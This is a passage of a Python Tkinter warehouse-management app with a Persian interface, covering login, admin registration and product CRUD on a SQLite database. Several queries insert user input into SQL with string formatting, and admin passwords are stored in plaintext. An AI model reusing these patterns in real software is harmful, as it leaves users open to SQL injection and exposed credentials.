self.check_peremision_log()\n\n def check_peremision_log(self):\n if self.log_peremision:\n main_page.state('normal')\n login_page.state('withdraw')\n else:\n messagebox.showerror('ERROR', '!کد کاربری یا رمز عبور را اشتباه وارد کرده اید ')\n self.e_userIdLog.delete(0,END)\n self.e_passwordLog.delete(0,END)\n self.e_userIdLog.focus()\n\n#_____________________________________________________________________________________________________________________\n#_________________________________________________ register page _____________________________________________________\n\n def warehouse_register_page(self):\n \n register_page.geometry('1000x600+450+200')\n register_page.configure(bg='white')\n register_page.title('نرم افزار انبارداری')\n register_page.resizable(False,False)\n register_page.iconbitmap('image/warehouseIco.ico')\n\n # Images\n self.signin_mainImg = PhotoImage(file='image/signInMainImg.png')\n self.logoImg_signIn = PhotoImage(file='image/logoImgRegister.png')\n self.addpersonalBtnImg = PhotoImage(file='image/registerBtn.png')\n\n self.img_signin = Label(register_page,image=self.signin_mainImg)\n self.registerFrm = LabelFrame(register_page,width=460,height=600,bg='#F6F5F5',bd=0)\n self.l_headerUser_register=Label(register_page,image=self.logoImg_signIn,bg='#F6F5F5')\n self.l_nameUser_register=Label(register_page,text=' : نام',font=('Lalezar',17))\n self.e_nameUser_register=Entry(register_page,font=('AraFProgram', 16),bd=1,justify=RIGHT,width=25,relief='solid')\n self.l_lastUser_register=Label(register_page,text=' : نام خانوادگی',font=('Lalezar',17))\n self.e_lastUser_register=Entry(register_page,font=('AraFProgram', 16),bd=1,justify=RIGHT,width=25,relief='solid')\n self.l_personnelId_register=Label(register_page,text=' : کد کارمند',font=('Lalezar',17))\n self.e_personnelId_register=Entry(register_page,font=('AraFProgram', 16),bd=1,justify=RIGHT,width=25,relief='solid')\n self.l_UserPass_register=Label(register_page,text=' : رمزعبور',font=('Lalezar',17))\n self.e_UserPass_register=Entry(register_page,font=('AraFProgram', 16),bd=1,justify=RIGHT,width=25,relief='solid')\n self.b_addPesonnel_register= Button(register_page,bg='#F6F5F5',image=self.addpersonalBtnImg,activebackground='#F6F5F5',bd=0,cursor='hand2',command=self.addPersonalRegister)\n self.l_description = Label(register_page,text='! ابتدا ثبت نام کنید', bg='white',font=('Lalezar',16),fg='black')\n\n self.img_signin.place (x=0,y=0)\n self.l_headerUser_register.place (x=700,y=0)\n self.registerFrm.place (x=540,y=0)\n self.l_nameUser_register.place(x=875,y=120)\n self.e_nameUser_register.place(x=640,y=160)\n self.l_lastUser_register.place(x=805,y=210)\n self.e_lastUser_register.place(x=640,y=250)\n self.l_personnelId_register.place(x=825,y=300)\n self.e_personnelId_register.place(x=640,y=335)\n self.l_UserPass_register.place(x=840,y=385)\n self.e_UserPass_register.place(x=640,y=425)\n self.b_addPesonnel_register.place(x=700,y=485)\n self.l_description.place(x=705,y=545)\n\n # bind\n self.e_nameUser_register.focus()\n self.e_nameUser_register.bind ('',lambda event : self.e_lastUser_register.focus())\n self.e_lastUser_register.bind ('',lambda event : self.e_personnelId_register.focus())\n self.e_personnelId_register.bind ('',lambda event : self.e_UserPass_register.focus())\n\n def funcBtnHover(self,img,url):\n img['file'] = url\n\n def addPersonalRegister(self):\n self.pesonnelName_register=self.e_nameUser_register.get()\n self.pesonnelLast_register=self.e_lastUser_register.get()\n self.personnelId_register=self.e_personnelId_register.get()\n self.personnelPass_register=self.e_UserPass_register.get()\n\n self.e_nameUser_register.delete(0,END)\n self.e_lastUser_register.delete(0,END)\n self.e_personnelId_register.delete(0,END)\n self.e_UserPass_register.delete(0,END)\n self.e_nameUser_register.focus()\n\n self.con=sql.connect('mydb.db')\n self.cur=self.con.cursor()\n data=(self.personnelId_register,self.pesonnelName_register,self.pesonnelLast_register,self.personnelPass_register)\n self.cur.execute('''CREATE TABLE IF NOT EXISTS admins (id TEXT PRIMARY KEY NOT NULL ,name TEXT NOT NULL ,\n last_name TEXT NOT NULL,personnel_pass TEXT NOT NULL)''')\n self.cur.execute('INSERT INTO admins (id,name,last_name,personnel_pass) VALUES(?,?,?,?)',data)\n self.con.commit()\n self.con.close()\n register_page.state('withdraw')\n main_page.state('normal')\n\n def check_exist_user(self):\n self.con=sql.connect('mydb.db')\n self.cur=self.con.cursor()\n self.cur.execute(\"SELECT name FROM sqlite_master WHERE type='table' AND name='admins'\")\n result = self.cur.fetchone()\n if result != None :\n login_page.state('normal')\n self.l_description['text']='آیا حساب کاربری دارید؟'\n self.l_register_to_login=Label(register_page,text='ورود',fg='#00348E',cursor='hand2',font=('Lalezar',17))\n self.l_register_to_login.place(x=660,y=545)\n self.l_register_to_login.bind('',self.register_to_login)\n else:\n register_page.state('normal')\n\n def register_to_login(self,event=None):\n login_page.state('normal')\n register_page.state('withdraw')\n self.e_nameUser_register.delete(0,END)\n self.e_lastUser_register.delete(0,END)\n self.e_personnelId_register.delete(0,END)\n self.e_UserPass_register.delete(0,END)\n self.e_nameUser_register.focus()\n\n#______________________________________________________________________________________________________________________\n#_________________________________________________ add product page ____________________________________________________\n\n def add_product_page(self):\n self.kalaImg_kala = PhotoImage(file='image/imgSelectorBg.png')\n self.searchBtnImg_kala1 = PhotoImage(file='image/searchBtnImg.png')\n self.h_sabtKalaImg = PhotoImage(file='image/headerSabtKala.png')\n self.addKalaBtnImg = PhotoImage(file='image/addKalaBtn.png')\n self.deleteBtnImg_kala = PhotoImage(file='image/deleteBtnImg.png')\n self.editBtnImg_kala = PhotoImage(file='image/editBtnImg.png')\n self.sabtTaghirKalaBtn = PhotoImage(file='image/sabtEdit.png')\n\n product_page.geometry ('1400x800+250+100')\n product_page.title('نرم افزار انبارداری')\n product_page.resizable(False,False)\n product_page.configure(bg='#F6F5F5')\n product_page.iconbitmap('image/warehouseIco.ico')\n\n self.h_sabtKala_kala = Label(product_page,image=self.h_sabtKalaImg,bg='#F6F5F5')\n self.l_productId_kala = Label(product_page,text=' : کد کالا',font=('Lalezar',17),bg='#F6F5F5')\n self.e_productId_kala = Entry(product_page,font=('AraFProgram', 16),bd=1,justify=RIGHT,width=18,relief='solid')\n self.l_productName_kala = Label(product_page,text=' : نام کالا',font=('Lalezar',17),bg='#F6F5F5')\n self.e_productName_kala = Entry(product_page,font=('AraFProgram', 16),bd=1,justify=RIGHT,width=18,relief='solid')\n self.l_productType_kala = Label(product_page,text=' : نوع کالا',font=('Lalezar',17),bg='#F6F5F5')\n self.c_productType_kala = ttk.Combobox(product_page,width = 20 , font = ('B Koodak' , 12),state='readonly',\n justify = 'right',values=[ \"کالای خریداری شده\",\"کالای مصرفی\", \"کالای تولید شده برای فروش\"])\n self.l_groupType_kala = Label(product_page,text=' : گروه کالا',font=('Lalezar',17),bg='#F6F5F5')\n self.c_groupType_kala = ttk.Combobox(product_page,width = 20 , font = ('B Koodak' , 12),state='readonly',\n justify = 'right',values=[\"مواد غذایی\",\"لوازم آشپزخانه\",\"لوازم الکترونیکی\"])\n self.c_productType_kala.set(\"یک گزینه را انتخاب کنید\")\n self.c_groupType_kala.set(\"یک گزینه را انتخاب کنید\")\n self.l_description_kala = Label(product_page,text=' : توضیحات',font=('Lalezar',17),bg='#F6F5F5')\n self.e_description_kala = Entry(product_page,font=('AraFProgram', 16),bd=1,justify=RIGHT,width=28,relief='solid')\n self.l_purchase_kala = Label(product_page,text=' : نقطه خرید',font=('Lalezar',17),bg='#F6F5F5')\n self.e_purchase_kala = Entry(product_page,font=('AraFProgram', 16),bd=1,justify=RIGHT,width=18,relief='solid')\n self.l_imgSelector_kala = Label(product_page,text='انتخاب تصویر',font=('Lalezar',17),bg='#F6F5F5')\n self.imgSelectorBg_kala = Label(product_page,bg='#F6F5F5',image=self.kalaImg_kala,cursor='hand2',width=150,height=150)\n self.e_search_kala = Entry(product_page,font=('AraFProgram', 16),bd=1,justify=RIGHT,width=18,relief='solid',bg='#F6F5F5')\n self.b_search_kala = Button(product_page,bg='#F6F5F5',image=self.searchBtnImg_kala1,activebackground='#F6F5F5',bd=0,cursor='hand2',command=self.search_id_kalaPage)\n self.b_addKala_kala = Button(product_page,bg='#F6F5F5',image=self.addKalaBtnImg,activebackground='#F6F5F5',bd=0,cursor='hand2',command=self.funcAddKala)\n self.b_delete_kala = Button(product_page,image=self.deleteBtnImg_kala,bd=0,activebackground='white',cursor='hand2')\n self.b_edit_kala = Button(product_page,image=self.editBtnImg_kala,bd=0,activebackground='white',cursor='hand2')\n self.b_sabtTaghirat_kala = Button(product_page,image=self.sabtTaghirKalaBtn,bd=0,activebackground='white')\n\n #list\n self.listKala= ttk.Treeview(product_page,show='headings',height=8)\n\n self.listKala['columns']=('Purchase','Category','Type','Name','id','row')\n #columns\n self.listKala.column('Purchase',width=220,anchor=E)\n self.listKala.column('Category',width=220,anchor=E)\n self.listKala.column('Type',width=220,anchor=E)\n self.listKala.column('Name',width=220,anchor=E)\n self.listKala.column('id',width=200,anchor=E)\n self.listKala.column('row',width=150,anchor=E)\n #heading\n self.listKala.heading('Purchase',text=' : نقطه خرید',anchor=E)\n self.listKala.heading('Category',text=' : گروه کالا',anchor=E)\n self.listKala.heading('Type',text=' : نوع کالا',anchor=E)\n self.listKala.heading('Name',text=' : نام کالا',anchor=E)\n self.listKala.heading('id',text=' : کد کالا',anchor=E)\n self.listKala.heading('row',text=' : ردیف',anchor=E)\n self.style.theme_use('clam')\n self.style.configure(\"Treeview.Heading\",font=('Lalezar', 18),\n padding=[0, 5, 15, 5],background='#474A56',\n foreground=\"white\",bd=0,relief='raised'\n )\n self.style.map(\"Treeview.Heading\",\n background=[('active','#686A75')])\n self.style.configure(\"Treeview\", highlightthickness=0, \n height=150,\n bd=0, font=('AraFProgram', 16),\n background=\"white\",foreground=\"black\",\n rowheight = 35,fieldbackground=\"white\"\n )\n self.style.map(\"Treeview\",\n background=[('selected', '#7A8BA7')],\n foreground=[('selected', 'white')])\n \n self.dateFrm_product = Label(product_page,image=self.bgDateImg, height=45,width=320,bd=0,bg='white')\n self.time_label_product = Label(self.dateFrm_product)\n self.date_label_product = Label(self.dateFrm_product)\n self.b_openNav_product=Button(product_page,image=self.openBtnImg,bg='#F6F5F5',activebackground='white',bd=0,command=self.switch_product_nav,cursor='hand2')\n self.navFrm_product=Frame(product_page,height=800,width=220,bg='#777777',bd=0)\n self.closeFrm_product=LabelFrame(self.navFrm_product,width=220,bg='#2E2E2E',bd=0,height=50)\n self.b_closeNav_product=Button(self.closeFrm_product,image=self.closeBtnImg,bd=0,bg='#2E2E2E',activebackground='#2E2E2E',cursor='hand2',command=self.switch_product_nav)\n self.b_mainpage_product=Button(self.navFrm_product,image=self.homePageBtnImg,bg='#777777',bd=0,cursor='hand2',command=self.product_to_main)\n self.b_addKala_product=Button(self.navFrm_product,image=self.addWareImg,bg='#777777',bd=0,cursor='hand2',state='disabled')\n self.b_addUser_product=Button(self.navFrm_product,image=self.addUserImg,bg='#777777',bd=0,cursor='hand2',command=self.product_to_user)\n self.b_WrStock_product=Button(self.navFrm_product,image=self.WrStockImg,bg='#777777',bd=0,cursor='hand2',command=self.product_to_WrStock)\n self.b_Receipt_product=Button(self.navFrm_product,image=self.ReceiptImg,bg='#777777',bd=0,cursor='hand2',command=self.product_to_Receipt)\n self.b_request_product=Button(self.navFrm_product,image=self.requestImg,bg='#777777',bd=0,cursor='hand2',command=self.product_to_request)\n self.b_order_product=Button(self.navFrm_product,image=self.sabtSefareshBtnImg,bg='#777777',bd=0,cursor='hand2',command=self.product_to_order)\n self.b_exitKala_product=Button(self.navFrm_product,image=self.exitKalaBtnMenuImg,bg='#777777',bd=0,cursor='hand2',command=self.product_to_exit)\n self.b_history_product=Button(self.navFrm_product,image=self.historyBtnImg,bg='#777777',bd=0,cursor='hand2',command=self.product_to_history)\n self.b_issuance_product=Button(self.navFrm_product,image=self.issuanceImg,bg='#777777',bd=0,cursor='hand2',command=self.product_to_bill)\n self.b_exit_product=Button(self.navFrm_product,image=self.exitImg,bg='#777777',bd=0,cursor='hand2')\n\n self.dateFrm_product.place(x=0,y=0)\n self.date_label_product.place(x=15,y=4)\n self.time_label_product.place(x=190,y=4)\n self.b_openNav_product.place (x=1340,y=20)\n self.navFrm_product.place (x=1400,y=0)\n self.closeFrm_product.place (x=0,y=0)\n self.b_closeNav_product.place (x=15,y=15)\n self.b_mainpage_product.place (x=0,y=50)\n self.b_addKala_product.place (x=0,y=115)\n self.b_addUser_product.place (x=0,y=180)\n self.b_WrStock_product.place (x=0,y=245)\n self.b_Receipt_product.place (x=0,y=310)\n self.b_request_product.place (x=0,y=375)\n self.b_order_product.place (x=0,y=440)\n self.b_exitKala_product.place (x=0,y=505)\n self.b_history_product.place (x=0,y=570)\n self.b_issuance_product.place (x=0,y=635)\n self.b_exit_product.place (x=0,y=700)\n self.h_sabtKala_kala.place (x=580 , y=0)\n self.l_productId_kala.place (x=1245 , y=100)\n self.e_productId_kala.place (x=985 , y=105)\n self.l_productName_kala.place (x=840 , y=100)\n self.e_productName_kala.place (x=585 , y=100)\n self.l_productType_kala.place (x=1240 , y=178)\n self.c_productType_kala.place (x=985 , y=178)\n self.l_groupType_kala.place (x=1235 , y=250)\n self.c_groupType_kala.place (x=985 , y=250)\n self.l_description_kala.place (x=820 , y=250)\n self.e_description_kala.place (x=475 , y=250)\n self.l_purchase_kala.place (x=820 , y=180)\n self.e_purchase_kala.place (x=585 , y=180)\n self.l_imgSelector_kala.place (x=210 , y=260)\n self.imgSelectorBg_kala.place (x=190 , y=100)\n self.e_search_kala.place (x=245 , y=375)\n self.b_search_kala.place (x=85 , y=370)\n self.b_addKala_kala.place (x=1120 , y=340)\n self.listKala.place (x=85 , y=420)\n self.b_sabtTaghirat_kala.place (x=-100,y=-100)\n\n #_____ bind _____\n self.e_productId_kala.focus()\n self.e_productId_kala.bind('',lambda event : self.e_productName_kala.focus())\n self.e_productName_kala.bind('',lambda event : self.e_purchase_kala.focus())\n self.e_purchase_kala.bind('',lambda event : self.e_description_kala.focus())\n self.e_description_kala.bind('',lambda event : self.b_addKala_kala.focus())\n self.e_search_kala.bind('',lambda event : self.b_search_kala.focus())\n self.b_search_kala.bind('', self.search_id_kalaPage)\n self.b_addKala_kala.bind('', self.funcAddKala)\n self.imgSelectorBg_kala.bind('', self.funcAddImg_kala)\n self.listKala.bind('', self.select_record_list_kala)\n self.b_delete_kala.bind('', self.delete_record_kala)\n self.b_edit_kala.bind('', self.edit_record_kala_values)\n self.b_sabtTaghirat_kala.bind('', self.edit_kala)\n self.e_search_kala.insert(0,'جستجوی کد کالا')\n self.e_search_kala.bind('',lambda event :self.e_search_kala.delete(0,END))\n\n def update_time_product(self):\n now_product = datetime.now()\n self.current_time_product = now_product.strftime(\"%H:%M:%S\")\n self.current_date_product = now_product.strftime(\"%Y/%m/%d\")\n self.time_label_product.config(text=f\"{self.current_time_product}\",font=('AraFProgram',16),bg='#474A56',fg='white')\n self.date_label_product.config(text=f\"{self.current_date_product}\",font=('AraFProgram',16),bg='#474A56',fg='white')\n self.dateFrm_product.after(1000, self.update_time_product)\n\n def product_to_main(self):\n self.navFrm.place(x=1180, y=0)\n main_page.state('normal')\n product_page.state('withdraw')\n self.btnState = True\n \n def product_to_history(self):\n self.navFrm_history.place(x=1180, y=0)\n self.data_to_list_history()\n history_page.state('normal')\n product_page.state('withdraw')\n self.btnState = True\n\n def product_to_bill(self):\n self.navFrm_bill.place(x=1180, y=0)\n sodorbill_page .state('normal')\n product_page.state('withdraw')\n self.btnState = True\n\n def product_to_user(self):\n self.navFrm_user.place(x=1180, y=0)\n self.data_to_list_user()\n user_page.state('normal')\n product_page.state('withdraw')\n self.btnState = True\n \n def product_to_WrStock(self):\n self.navFrm_stock.place(x=1180, y=0)\n self.data_to_list_stock()\n stock_page.state('normal')\n product_page.state('withdraw')\n self.btnState = True\n \n def product_to_Receipt(self):\n self.navFrm_receipt.place(x=1180, y=0)\n receipt_page.state('normal')\n product_page.state('withdraw')\n self.btnState = True\n\n def product_to_request(self):\n self.navFrm_request.place(x=1180, y=0)\n self.data_to_list_request()\n request_page.state('normal')\n product_page.state('withdraw')\n self.btnState = True\n\n def product_to_order(self):\n self.navFrm_order.place(x=1180, y=0)\n self.data_to_list_order()\n order_page.state('normal')\n product_page.state('withdraw')\n self.btnState = True\n\n def product_to_exit(self):\n self.navFrm_exit.place(x=1180, y=0)\n self.data_to_list_exit()\n exit_page.state('normal')\n product_page.state('withdraw')\n self.btnState = True\n\n def switch_product_nav(self):\n if self.btnState is True:\n self.navFrm_product.place(x=1400, y=0)\n self.btnState = False\n else:\n self.navFrm_product.place(x=1180, y=0)\n self.btnState = True\n\n def data_to_list_kala(self):\n self.count=0 \n self.lst=[]\n for item in self.listKala.get_children():\n self.listKala.delete(item)\n self.con=sql.connect('mydb.db')\n self.cur=self.con.cursor()\n self.cur.execute(\"SELECT name FROM sqlite_master WHERE type='table' AND name='kala'\")\n \n self.result = self.cur.fetchone()\n if self.result != None:\n \n row=self.cur.execute('SELECT * FROM kala')\n for i in row :\n self.lst.append(i)\n \n for i in self.lst:\n self.listKala.insert(parent='',index='end',text='',\n values=(i[4],i[3],i[2],i[1],i[0],str(self.count+1)))\n self.count += 1\n\n def funcAddImg_kala(self,event=None):\n self.img_name = filedialog.askopenfilename()\n self.procuct_img = Image.open(self.img_name)\n self.procuct_image = self.procuct_img.resize((150, 150))\n self.product_photo = ImageTk.PhotoImage(self.procuct_image)\n self.imgSelectorBg_kala['image']=self.product_photo\n \n def funcAddKala(self , event=None):\n self.productId=self.e_productId_kala.get()\n self.productName=self.e_productName_kala.get()\n self.productType=self.c_productType_kala.get()\n self.groupType=self.c_groupType_kala.get()\n self.purchase=self.e_purchase_kala.get()\n self.description=self.e_description_kala.get()\n self.photo = self.covert_to_binary_data(self.img_name)\n\n self.e_productId_kala.delete(0,END)\n self.e_productName_kala.delete(0,END)\n self.c_productType_kala.set(\"یک گزینه را انتخاب کنید\")\n self.c_groupType_kala.set(\"یک گزینه را انتخاب کنید\")\n self.e_purchase_kala.delete(0,END)\n self.e_description_kala.delete(0,END) \n self.imgSelectorBg_kala['image']=self.kalaImg_kala\n self.e_productId_kala.focus()\n\n self.con=sql.connect('mydb.db')\n self.cur=self.con.cursor()\n self.data=(self.productId,self.productName,self.productType,self.groupType,self.purchase,self.description,self.photo,'0')\n self.cur.execute('''CREATE TABLE IF NOT EXISTS kala (id TEXT PRIMARY KEY NOT NULL ,name TEXT NOT NULL ,type TEXT NOT NULL,category TEXT NOT NULL\n ,purchase INTEGER NOT NULL,description TEXT NOT NULL,photo BLOB NOT NULL,stock)''')\n self.cur.execute('INSERT INTO kala(id,name,type,category,purchase,description,photo,stock) VALUES(?,?,?,?,?,?,?,?)',self.data)\n self.con.commit()\n self.numlist=len(self.listKala.get_children())\n self.listKala.insert(parent='',index='end',text='',values=(self.purchase,self.groupType,self.productType,\n self.productName,self.productId,self.numlist+1))\n\n def covert_to_binary_data(self,filename):\n with open (filename , 'rb') as f:\n blobdata = f.read()\n return blobdata\n \n def search_id_kalaPage(self,event=None):\n self.con=sql.connect('mydb.db')\n self.cur=self.con.cursor()\n self.idKala=self.e_search_kala.get()\n self.count=0\n if self.idKala !='':\n for i in self.listKala.get_children():\n self.listKala.delete(i)\n self.row=self.cur.execute('SELECT * FROM kala WHERE id=\"{}\"'.format(self.idKala))\n self.search_list=list(self.row)\n self.listKala.insert(parent='',index='end',iid=self.count,text='',\n values=(self.search_list[0][4],self.search_list[0][3],self.search_list[0][2],\n self.search_list[0][1],self.search_list[0][0],str(self.count+1)))\n \n else:\n self.lst=[]\n self.listKala.delete('0')\n self.data_to_list_kala()\n\n def select_record_list_kala(self,event=None):\n self.selected = self.listKala.focus()\n self.values = self.listKala.item(self.selected , \"values\")\n self.row_id =self.listKala.identify_row(event.y)\n start = self.listKala.bbox(self.row_id, column=None)\n self.y1=start[1]+400\n self.y2=start[1]+440\n self.b_delete_kala.place(x=40,y=self.y1)\n self.b_edit_kala.place(x=40,y=self.y2)\n\n def delete_record_kala(self,event=None):\n self.peremision_delete_record = messagebox.askquestion(\"Confirm\",\"آیا از پاک کردن کالا مطمئن هستید؟\")\n if self.peremision_delete_record == 'yes':\n self.con=sql.connect('mydb.db')\n self.cur=self.con.cursor()\n self.code=self.values[4]\n self.cur.execute(\"DELETE FROM kala WHERE id='{}'\" .format(self.code))\n self.con.commit()\n for item in self.listKala.get_children():\n self.listKala.delete(item)\n self.lst=[]\n self.data_to_list_kala()\n self.b_delete_kala.place(x=-50,y=-50)\n self.b_edit_kala.place(x=-50,y=-50)\n\n def sql_search_kala(self,id1):\n self.con = sql.connect('mydb.db')\n self.cur = self.con.cursor()\n self.cur.execute(\"SELECT COUNT(*) FROM kala\")\n self.rowNum = self.cur.fetchone()[0]\n row = self.cur.execute('SELECT * FROM kala WHERE id=\"{}\"'.format(id1))\n return list(row)\n \n def edit_record_kala_values(self ,event=None):\n self.e_productId_kala.delete(0,END)\n self.e_productName_kala.delete(0,END)\n self.c_groupType_kala.set(\"یک گزینه را انتخاب کنید\")\n self.c_productType_kala.set(\"یک گزینه را انتخاب کنید\")\n self.e_purchase_kala.delete(0,END)\n self.e_description_kala.delete(0,END)\n self.values = self.listKala.item(self.selected , \"values\")\n self.row_num=self.values[5]\n self.valuelst = self.sql_search_kala(self.values[4])\n self.e_productId_kala.insert(0,self.valuelst[0][0])\n self.e_productName_kala.insert(0,self.valuelst[0][1])\n self.c_productType_kala.set(self.valuelst[0][2])\n self.c_groupType_kala.set(self.valuelst[0][3])\n self.e_purchase_kala.insert(0,self.valuelst[0][4])\n self.e_description_kala.insert(0,self.valuelst[0][5])\n self.b_sabtTaghirat_kala.place(x=910,y=340)\n self.con=sql.connect('mydb.db')\n self.cur=self.con.cursor()\n self.cur.execute(\"SELECT photo FROM kala WHERE id = '{}'\".format(self.valuelst[0][0]))\n image_data = self.cur.fetchone()[0]\n procuct_img = Image.open(io.BytesIO(image_data))\n procuct_image = procuct_img.resize((150, 150))\n self.product_photo = ImageTk.PhotoImage(procuct_image)\n self.imgSelectorBg_kala['image']=self.product_photo\n\n def edit_kala(self,event = None):\n self.peremision_edit_record = messagebox.askquestion(\"Confirm\",\"آیا از تغییر اطلاعات کالا مطمئن هستید؟\")\n if self.peremision_edit_record == 'yes':\n self.con = sql.connect('mydb.db')\n self.cur = self.con.cursor()\n self.code = self.e_productId_kala.get()\n self.name = self.e_productName_kala.get()\n self.point = self.e_purchase_kala.get()\n self.desc = self.e_description_kala.get()\n self.type = self.c_productType_kala.get()\n self.group = self.c_groupType_kala.get()\n self.listKala.item(self.selected ,values = (self.point,self.group,self.type,self.name,self.code,self.row_num))\n self.cur.execute(''' UPDATE kala SET id = \"{}\" , name = \"{}\", type = \"{}\",category = \"{}\",\n purchase = \"{}\",description = \"{}\" WHERE id=\"{}\" '''.format(self.code,self.name,self.type,self.group,self.point,self.desc,self.values[4]))\n self.con.commit()\n self.b_sabtTaghirat_kala.place(x=-100,y=-100)\n self.b_delete_kala.place(x=-50,y=-50)\n self.b_edit_kala.place(x=-50,y=-50)\n self.valuelst=[]\n self.e_productId_kala.delete(0,END)\n self.e_productName_kala.delete(0,END)\n self.c_productType_kala.set(\"یک گزینه را انتخاب کنید\")\n self.c_groupType_kala.set(\"یک گزینه را انتخاب کنید\")\n self.e_purchase_kala.delete(0,END)\n self.e_description_kala.delete(0,END)\n self.e_productId_kala.focus()\n self.imgSelectorBg_kala['image']=self.kalaImg_kala\n\n#_________________________________________________________________________________________________________________________\n#____________________________________________________ add user page ______________________________________________________\n def add_user_page(self):\n \n self.hSabtUserImg = PhotoImage(file='image/headerSabtKarmandImg.png')\n self.UserImg = PhotoImage(file='image/imgSelectorBg.png')\n self.searchBtnImg_user = PhotoImage(file='image/searchBtnImg.png')\n self.addPesonnelImg = PhotoImage(file='image/addPesonnelBtnImg.png')\n self.deleteBtnImg_user = PhotoImage(file='image/deleteBtnImg.png')\n self.editBtnImg_user = PhotoImage(file='image/editBtnImg.png')\n self.sabtTaghirBtn_user = PhotoImage(file='image/sabtEdit.png')\n \n user_page.title('نرم افزار انبارداری')\n user_page.resizable(False,False)\n user_page.iconbitmap('image/warehouseIco.ico')\n user_page.geometry ('1400x800+250+100')\n user_page.configure (bg='#F6F5F5')\n \n self.dateFrm_user=Label(user_page,image=self.bgDateImg, height=45,width=320,bd=0,bg='white')\n self.time_label_user = Label(self.dateFrm_user)\n self.date_label_user = Label(self.dateFrm_user)\n self.l_headerUser=Label(user_page,image=self.hSabtUserImg,bg='#F6F5F5')\n self.l_nameUser=Label(user_page,text=' : نام',font=('Lalezar',17),bg='#F6F5F5')\n self.e_nameUser=Entry(user_page,font=('AraFProgram', 16),bd=1,justify=RIGHT,width=18,relief='solid')\n self.l_lastUser=Label(user_page,text=' : نام خانوادگی',font=('Lalezar',17),bg='#F6F5F5')\n self.e_lastUser=Entry(user_page,font=('AraFProgram', 16),bd=1,justify=RIGHT,width=18,relief='solid')\n self.l_nationalCode=Label(user_page,text=' : کد ملی',font=('Lalezar',17),bg='#F6F5F5')\n self.e_nationalCode=Entry(user_page,font=('AraFProgram', 16),bd=1,justify=RIGHT,width=18,relief='solid')\n self.l_gender=Label(user_page,text=' : جنسیت',font=('Lalezar',17),bg='#F6F5F5')\n self.c_gender=ttk.Combobox(user_page,width = 20 , font = ('B Koodak' , 12),state='readonly',\n justify = 'right',values=[\"زن\", \"مرد\"])\n self.c_gender.set(\"یک گزینه را انتخاب کنید\")\n self.l_phoneNum=Label(user_page,text=' : شماره تماس',font=('Lalezar',17),bg='#F6F5F5')\n self.e_phoneNum=Entry(user_page,font=('AraFProgram', 16),bd=1,justify=RIGHT,width=18,relief='solid')\n self.l_accountType=Label(user_page,text=' : نوع کاربری',font=('Lalezar',17),bg='#F6F5F5')\n self.c_accountType=ttk.Combobox(user_page,width = 20 , font = ('B Koodak' , 12),state='readonly',\n justify = 'right',values=[\"فروشنده\",\"کارمند\"])\n self.c_accountType.set(\"یک گزینه را انتخاب کنید\")\n self.l_personnelId = Label(user_page,text=' : کد کارمند',font=('Lalezar',17),bg='#F6F5F5')\n self.e_personnelId = Entry(user_page,font=('AraFProgram', 16),bd=1,justify=RIGHT,width=18,relief='solid')\n self.l_imgSelector = Label(user_page,text='انتخاب تصویر',font=('Lalezar',17),bg='#F6F5F5')\n self.imgSelectorBg = Label(user_page,bg='#F6F5F5',image=self.UserImg,cursor='hand2',width=150,height=150)\n self.b_addPesonnel= Button(user_page,bg='#F6F5F5',image=self.addPesonnelImg,activebackground='#F6F5F5',bd=0,cursor='hand2')\n self.e_searchUser = Entry(user_page,font=('AraFProgram', 16),bd=1,justify=RIGHT,width=18,relief='solid')\n self.b_searchUser = Button(user_page,bg='#F6F5F5',image=self.searchBtnImg_user,activebackground='#F6F5F5',bd=0,cursor='hand2',command=self.search_id_user)\n self.b_delete_user = Button(user_page,image=self.deleteBtnImg_user,bd=0,activebackground='white',cursor='hand2')\n self.b_edit_user = Button(user_page,image=self.editBtnImg_user,bd=0,activebackground='white',cursor='hand2')\n self.b_sabtTaghirat_user = Button(user_page,image=self.sabtTaghirBtn_user,bd=0,activebackground='white')\n \n #list\n self.listUser= ttk.Treeview(user_page,show='headings',height=8)\n self.listUser['columns']=('type','phoneNum','nationalCode','gender','nameUser','personnelId','row')\n #columns\n self.listUser.column('type',width=200,anchor=E)\n self.listUser.column('phoneNum',width=200,anchor=E)\n self.listUser.column('nationalCode',width=200,anchor=E)\n self.listUser.column('gender',width=150,anchor=E)\n self.listUser.column('nameUser',width=250,anchor=E)\n self.listUser.column('personnelId',width=150,anchor=E)\n self.listUser.column('row',width=100,anchor=E)\n #heading\n self.listUser.heading('type',text=' : نوع کاربر',anchor=E)\n self.listUser.heading('phoneNum',text=' : شماره تماس',anchor=E)\n self.listUser.heading('nationalCode',text=' : کد ملی',anchor=E)\n self.listUser.heading('gender',text=' : جنسیت',anchor=E)\n self.listUser.heading('nameUser',text=' : نام و نام خانوادگی',anchor=E)\n self.listUser.heading('personnelId',text=' : کد کارمندی',anchor=E)\n self.listUser.heading('row',text=' : ردیف',anchor=E)\n self.style.theme_use('clam')\n self.style.configure(\"Treeview.Heading\",font=('Lalezar', 18),\n padding=[0, 5, 15, 5],background='#474A56',\n foreground=\"white\",bd=0,relief='raised'\n )\n self.style.map(\"Treeview.Heading\",\n background=[('active','#686A75')])\n self.style.configure(\"Treeview\", highlightthickness=0, \n height=150,\n bd=0, font=('AraFProgram', 16),\n background=\"white\",foreground=\"black\",\n rowheight = 35,fieldbackground=\"white\"\n )\n self.style.map(\"Treeview\",\n background=[('selected', '#7A8BA7')],\n foreground=[('selected', 'white')])\n\n self.b_openNav_user=Button(user_page,image=self.openBtnImg,bg='#F6F5F5',activebackground='#F6F5F5',bd=0,command=self.switch_user_nav,cursor='hand2')\n self.navFrm_user=Frame(user_page,height=800,width=220,bg='#777777',bd=0)\n self.closeFrm_user=LabelFrame(self.navFrm_user,width=220,bg='#2E2E2E',bd=0,height=50)\n self.b_closeNav_user=Button(self.closeFrm_user,image=self.closeBtnImg,bd=0,bg='#2E2E2E',activebackground='#2E2E2E',cursor='hand2',command=self.switch_user_nav)\n self.b_mainPage_user=Button(self.navFrm_user,image=self.homePageBtnImg,bg='#777777',bd=0,cursor='hand2',command=self.user_to_main)\n self.b_addKala_user=Button(self.navFrm_user,image=self.addWareImg,bg='#777777',bd=0,cursor='hand2',command=self.user_to_kala)\n self.b_addUser_user=Button(self.navFrm_user,image=self.addUserImg,bg='#777777',bd=0,cursor='hand2',state='disabled')\n self.b_WrStock_user=Button(self.navFrm_user,image=self.WrStockImg,bg='#777777',bd=0,cursor='hand2',command=self.user_to_stock)\n self.b_Receipt_user=Button(self.navFrm_user,image=self.ReceiptImg,bg='#777777',bd=0,cursor='hand2',command=self.user_to_receipt)\n 